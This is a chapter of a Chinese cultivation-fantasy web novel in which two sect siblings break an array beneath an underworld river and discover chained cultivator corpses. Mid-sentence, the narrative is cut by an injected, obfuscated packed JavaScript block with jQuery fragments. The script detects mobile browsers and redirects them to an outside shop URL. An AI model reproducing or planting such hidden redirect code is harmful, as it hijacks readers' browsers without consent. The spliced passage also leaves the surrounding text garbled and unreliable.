52.无垢玄铁(十四)
作品:《就你有师兄?》 陈辞:“我早已说过,不论做什么,我都与你一道。”
容星阑只听头顶上气息沉稳绵长,幽暗且逼仄的环境令她生出前所未有的安心。她本不在意日后的事,此时仍忍不住想发出浑问:若我为邪魔歪道呢?
“小师兄。”她唤了他一声,停了停,终究什么也没有说,只道,“好。”
陈辞知道她心中诸多瞻思,索性在今夜就想把话说得更明白一些,便道:“星阑,鬼修亦是修,鬼道,亦是道。”
“世间道理,并不是非黑即白。世间道法,亦不是非正即邪。”
“你在我面前,不必有此顾虑。”
容星阑心神微震。上一世,那些修士见了她,不必分出个青红皂白便称她为邪魔歪道,她的存在就是天理难容。那些正道中人,一口一个孽祟,一口一个邪道,势必要除她而后快。
从来没有人对她说,鬼修亦是修,鬼道亦是道。
冥河水下万籁俱寂,容星阑不知沉默了多久,才道:“好。”
叮叮当当……叮叮当当……
隐隐的锁链声打破水下沉寂,容星阑侧首聆听,此声似乎从更深处传来,她道:“小师兄,我要使用《万象符》了。”
即便陈辞知晓她鬼修的身份,亦知晓她修习鬼修的术法,但她从未在他面前如此直白地展现自己的阴符,是以当着他面使用时,不免心生一丝紧张。
陈辞听她言辞正正,不由轻笑:“好,也让我开一开眼界。”
二人出洞,容星阑指尖微动,一簇极黑的阴气凝于指腹。
‘需符,水天循迹,现。’
叮叮当当……
叮叮当当……
随着这道循迹符使出,冥河深处四面八方皆传来重重的锁链碰撞声,她不由沉眉向下看去,仔细辨认:“听声音是在下面。”
陈辞观她眉头紧锁,道:“有何不对?”
容星阑:“霍无……移动地太快了些,听不准声音到底是从何处传来,好像是在这边,好像又是在那边,好像……好像又无处不在。”
“霍无是那只怨鬼的名字?”陈辞道,“先下去看看。”
冥河中有扶苍山的修士巡逻,自然是不能再使用离符照明,容星阑只好听着声音摸黑向下游去,又恐和陈辞在水下走失,将发间的丝带取了下来,将其中一端系在自己的手腕上。
她看不清陈辞的身形,只能辨个大致方位,凭借直觉朝他所处的位置摸过去:“小师兄。”
这一摸便摸到坚如磐石的胸膛,倚靠着的时候还并未发觉,此时一摸,才觉竟如此精壮坚失,微微起伏。
陈辞叫她措不及然的一摸,身体僵了僵,她的手碰到他时,亦有些惊慌,胡乱地向左右摸去,想要迅速触到手臂,却不知碰到什么,只听黑暗中传来压在喉咙里的闷哼,手背上忽地覆上一只大手。
为防止她继续碰到什么该摸的不该摸的,陈辞下意识按住她的手,不让她乱动。
容星阑强装镇定:“小师兄,水下看不见,我们系上丝带,不要走失。”
陈辞的喉结在冥河水中动了动:“丝带给我。”
容星阑:“在我掌心里。”
陈辞松了松她的手,自她手心中摸到一条柔软的丝带,也系在腕上,道:“好了。”
幸而她现下只是魂体之身,否则此般寂静,只怕心跳如雷,无处遁声。她循着锁链声向下游:“走罢。”
*
游了约一里深,锁链碰撞的声音愈来愈急,几乎就在脚下,容星阑停住,道:“应该就在这里。”
脚下不止是锁链的声音,还有极重的阴气,阴气如疾风向上窜去,带动水流阵阵,阻力极大,她以‘艮符’将他们二人止在原地,将才不被水流冲走。
陈辞向下沉了沉,以剑扫去,碰到一物,传来剑鸣。
“这里。”
陈辞伸手,摸到两条触之极为阴寒的不断游动的铁链,铁链似乎被固定在冥河底部,他摸到的是铁链断裂的一端。
“铁链断了。”
容星阑:“应是用来束缚霍无的锁链,他挣脱掉了。”
叮叮当当——
“不对!”容星阑的耳朵偏向西边,“小师兄,你听到了吗?”
陈辞:“还有铁链声。”
一道剑意朝着锁链叮当声处扫过去,恍如一颗石子掉落了进深不见底的黑渊,没有任何声响。
叮叮当当——!
又是一道锁链碰撞声,这声却是从东边传来!
容星阑祭出离剑符,万剑投入水中亦无回响:“怎么回事?”
叮叮当当——!叮叮当当——!
就在此时,四周传来此起彼伏的锁链碰撞声,一会在东边,一会在南边,接着各个方位铁链撞击声如影幢幢,陈辞沉吟片刻,道:“应是阵法。”
“阵法?”容星阑道,“既是阵法,阵眼在何处?”
说完,她向陈辞手中的锁链看去。
陈辞祭出一道灵气,灵气如旋风般朝四面散开:“是混元阵。人在阵中,就如被困在一个封闭的镜面空间,一个影子会变幻做无数道影子,一道灵气会化为无数道灵气。所有的攻击会被阵法吞噬,像是陷入一只镜妖的腹中。”
二人腕上系带默契地动了动,容星阑接着道:“一道声音也会幻化作无数道声音。”
她不解道:“此阵法确实是个极好的蒙蔽阵法,但是霍无已为怨鬼,不可能设出如此精妙的阵法,这阵法,只能是扶苍山的人所设。他们设下混元阵,帮助霍无?”
陈辞:“星阑,阵法既成,一定会有灵气运行的轨迹,我方才试了试,无法感应灵线经纬,你试一试。”
容星阑凝神感应,难怪陈辞无法察觉到,这阵法根本就不是以灵气构成,而是阴气!一道道纵横交织的阴气线,以两条锁链为中心,向四周十丈左右铺开一个圆形的混元阴阵。
若是寻常的阵法只需毁掉阵眼即可,但此阵针眼明晃晃在此处,显然不可被人随意毁坏,容星阑心神一动,祭出一道阴气,阴气瞬间没入铁链,容星阑惊道:“这铁链……是无垢玄铁所制!”
铁链由不知多少个粗壮的环链扣成,她从大师兄那里得到的一块玄铁,只比手掌大些许,现在他们身前铁链中的一只环链,用料就不止那块玄铁。
“怎么会……这么多,不是说,无垢玄铁乃大九州之物吗?”
容星阑心惊不仅在此,若是两条铁链都是无垢玄铁制成,而他们周遭阴气猎猎,那么冥河底下,究竟有多少阴气,才能使无垢玄铁收纳无能?
这下面一定是地裂,但是地裂里面,究竟有什么?!
“小师兄。”容星阑扯了扯系带,“你游到我身后。”
陈辞游过去:“你要如何破阵?”
“小师兄,你有没有觉得阵法和符文很像?符文成型,符印一出,就再难改动,但其实符印尚未凝结成型的时候,有一个法子,可以阻止符印凝结。”
“只需在原本的符文上,添上一笔。”
陈辞:“星阑,此等关乎你术法的天机,你不必告诉我。”
容星阑在所有事上都谨小慎微,为自己留有余地,但在此事上,她几乎处于不败之地,难免显出几分前世涂华山鬼君的狂妄,笑道:“无妨,九州内,能以阴气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195840|193063||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在我的符文上添足的鬼,根本不存在。小师兄,你且看好了。”
她阖上眼睛,以神识感知混元阵中所有阴线走向,在脑海中一笔一划地描摹,整个阵法在她脑中成型后,睁开眼。
无垢玄铁在此,她不能使用自己的阴气,便汲取向上流动的阴气,以掌为笔,在原本阵法走线中画上一道的多余的阴线。阴线连接其中两条经纬时,瞬间水流汹涌,阵法轰然坍塌。
刹那间,底下各个方位都传来更为剧烈的锁链碰撞声。
容星阑扯动系带,向下游去,一面道:“怎会如此?”
陈辞神色沉了下去,只是在黑暗中难以瞧见,若先前的铁链声还可以说是混元阵的原有,现下只能是……
容星阑管不了那么多,当即使出一道离火照明符。
这道照明符一使出,容星阑措不及防看到眼前之物,向后猛地一退,下意识指尖凝符。
只是这符才凝一半,便又止住。
方才映入她眼前的,是一张陌生的女子的脸。
女子双目睁开,宛如活人。
她的黑发随着阴风和水流向上飘散,尸身屹立不动,是因为她的双脚,被无垢玄铁炼制的锁灵链,牢牢锁住。
冥河底部,入目所及,皆是千千万万被拴着的浮尸。
而锁灵链的另一端,直入冥河底部的地裂,自地裂蔓生而上,向深渊中无数条游动的巨蛇。
若不是陈辞在此,容星阑几乎脱口而出:我*。
陈辞面如寒冰,他在里面看到了一两个曾见过的面孔,当时他们身陨之时,扶苍山对外只道除祟途中不幸殒命。
“星阑。”饶是他有所控制,声音仍然冷若寒霜,“他们……都是修士。”
“修士?”容星阑大惊,惊讶过后又有种意料之中之感,不由喃喃,“扶苍山的人,究竟在做些什么?”
她之所以惊讶而又觉得理应如此,全是因为霍无生前也是修士。按照常理,修士死后,神魂俱灭,肉身化作尘烟,只是有了霍无的特例,她便不以常理看待此事。
此事她虽有所预料,但对于陈辞而言却是全然出乎所料。他扫视过去,看到不止两条断裂的锁链,道:“霍无应当不是唯一的怨鬼。”
容星阑点头道:“但从此地逃出冥河的,只有他。”
正在此时,容星阑察觉到上方有两道影子快速靠近,她在瞬间熄光,拉着陈辞躲在锁链丛中。
来者竟然不是玉玠元和裴灵瑛,而是玉映成和玉瑶光。
二人身上泛着淡淡的灰色光圈,似乎不受冥河水的侵蚀,对他们的存在毫无察觉,神色自若地向深处沉下去。
“混元阵竟又被他冲破了。”玉瑶光不满道,“爹爹,那霍无极为狡猾,被他逃出去了不说,多次回来破坏阵法,万一被其他怨鬼逃了出去,引了其他仙家注意,该怎么办?”
她不等玉映尘回答,惋惜道:“霍无战力无边,却不能被练为人器为我所用,实在可惜。待我再想想法子,把他抓回来,送给爹爹做礼物。”
容星阑和陈辞在暗处对视一眼,难怪阵法被破都没有引起他们的注意,原来此锅被扣在了霍无的头上。
玉映尘缓声笑道:“其他仙家不足为惧,被人发现了,把那人杀了就是。霍无凶猛,实在是前所未有的怨鬼,不过既然不能驯服,我也只好替天行道了。瑶光,不必心急,打蛇打七寸,霍无有一个鲲妖的妻子,去把她寻来,霍无的问题也就解决了。”
玉瑶光想起什么,冷笑道:“爹爹,我岂能不知,只是没想到那鲲妖竟有同伙,裴……”她忽而向二人所在的方位祭出法器,厉喝道,“什么人!”

